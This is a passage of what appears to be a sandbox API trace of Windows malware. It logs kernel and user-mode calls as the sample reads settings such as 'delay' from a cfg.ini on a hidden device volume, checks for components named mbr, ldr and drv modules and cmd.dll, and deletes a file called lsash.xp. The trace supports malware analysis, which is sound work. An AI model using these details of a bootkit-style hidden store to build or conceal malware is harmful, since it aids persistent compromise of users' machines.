0xfffffa8003baf190 [0124.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.757] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.757] IdePortDispatch () returned 0x103 [0124.758] KeWaitForMutexObject () returned 0x0 [0124.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.758] KeLeaveCriticalRegion () [0124.758] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.758] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.758] KeEnterCriticalRegion () [0124.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.758] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b5000 [0124.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.758] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.758] IdePortDispatch () returned 0x103 [0124.758] KeWaitForMutexObject () returned 0x0 [0124.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.758] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.758] IdePortDispatch () returned 0x103 [0124.758] KeWaitForMutexObject () returned 0x0 [0124.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.758] KeLeaveCriticalRegion () [0124.758] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.759] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.759] KeEnterCriticalRegion () [0124.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.759] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.759] KeLeaveCriticalRegion () [0124.759] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.759] KeEnterCriticalRegion () [0124.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.759] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.759] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.759] KeLeaveCriticalRegion () [0124.759] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.759] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.759] KeEnterCriticalRegion () [0124.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.759] ExFreePoolWithTag (P=0xfffffa8003bf3ad0, Tag=0x0) [0124.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.759] KeLeaveCriticalRegion () [0124.759] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.759] ReleaseMutex (hMutex=0xf0) returned 1 [0124.759] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.759] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.759] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.759] KeEnterCriticalRegion () [0124.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.759] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.759] IdePortDispatch () returned 0x103 [0124.760] KeWaitForMutexObject () returned 0x0 [0124.760] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.760] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.760] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.760] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.760] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.760] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf38e0 [0124.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.760] KeLeaveCriticalRegion () [0124.760] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.760] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.760] KeEnterCriticalRegion () [0124.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.760] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.760] KeLeaveCriticalRegion () [0124.760] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.760] KeEnterCriticalRegion () [0124.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.760] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.760] IdePortDispatch () returned 0x103 [0124.760] KeWaitForMutexObject () returned 0x0 [0124.760] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.760] KeLeaveCriticalRegion () [0124.760] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.761] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.761] KeEnterCriticalRegion () [0124.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.761] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b6000 [0124.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.761] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.761] IdePortDispatch () returned 0x103 [0124.761] KeWaitForMutexObject () returned 0x0 [0124.761] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.761] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.761] IdePortDispatch () returned 0x103 [0124.761] KeWaitForMutexObject () returned 0x0 [0124.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.761] KeLeaveCriticalRegion () [0124.761] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.762] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.762] KeEnterCriticalRegion () [0124.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.762] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.762] KeLeaveCriticalRegion () [0124.762] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.762] KeEnterCriticalRegion () [0124.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.762] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.762] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.762] KeLeaveCriticalRegion () [0124.762] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.762] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.762] KeEnterCriticalRegion () [0124.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.762] ExFreePoolWithTag (P=0xfffffa8003bf38e0, Tag=0x0) [0124.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.762] KeLeaveCriticalRegion () [0124.762] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.762] ReleaseMutex (hMutex=0xf0) returned 1 [0124.762] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.762] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.762] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.762] KeEnterCriticalRegion () [0124.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.762] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.762] IdePortDispatch () returned 0x103 [0124.763] KeWaitForMutexObject () returned 0x0 [0124.763] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.763] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.763] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.763] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.763] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.763] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0124.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.763] KeLeaveCriticalRegion () [0124.763] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.763] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.763] KeEnterCriticalRegion () [0124.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.763] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.763] KeLeaveCriticalRegion () [0124.763] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.763] KeEnterCriticalRegion () [0124.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.763] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.763] IdePortDispatch () returned 0x103 [0124.763] KeWaitForMutexObject () returned 0x0 [0124.763] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.763] KeLeaveCriticalRegion () [0124.763] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.763] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.763] KeEnterCriticalRegion () [0124.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.763] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b7000 [0124.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.764] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.764] IdePortDispatch () returned 0x103 [0124.764] KeWaitForMutexObject () returned 0x0 [0124.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.764] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.764] IdePortDispatch () returned 0x103 [0124.764] KeWaitForMutexObject () returned 0x0 [0124.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.764] KeLeaveCriticalRegion () [0124.764] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.765] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.765] KeEnterCriticalRegion () [0124.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.765] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.765] KeLeaveCriticalRegion () [0124.765] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.765] KeEnterCriticalRegion () [0124.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.765] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.765] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf20e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.765] KeLeaveCriticalRegion () [0124.765] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.765] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.765] KeEnterCriticalRegion () [0124.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.765] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0124.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.765] KeLeaveCriticalRegion () [0124.765] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.765] ReleaseMutex (hMutex=0xf0) returned 1 [0124.765] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.765] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.765] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.765] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.765] KeEnterCriticalRegion () [0124.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.765] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.765] IdePortDispatch () returned 0x103 [0124.765] KeWaitForMutexObject () returned 0x0 [0124.765] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.766] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.766] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.766] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.766] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.766] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.766] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.766] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.766] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.766] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.766] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.766] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.766] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.766] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.766] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.766] KeLeaveCriticalRegion () [0124.766] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.766] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.766] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.766] KeEnterCriticalRegion () [0124.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.766] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.766] IdePortDispatch () returned 0x103 [0124.766] KeWaitForMutexObject () returned 0x0 [0124.766] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.766] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.766] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.766] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.766] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.766] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.766] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.766] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.766] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.766] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.766] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.766] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.766] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.766] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.766] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.767] KeLeaveCriticalRegion () [0124.767] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.767] ReleaseMutex (hMutex=0x100) returned 1 [0124.767] Sleep (dwMilliseconds=0x2bf20) [0124.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d904d10, dwHighDateTime=0x1d24fa4)) [0124.773] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.773] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) 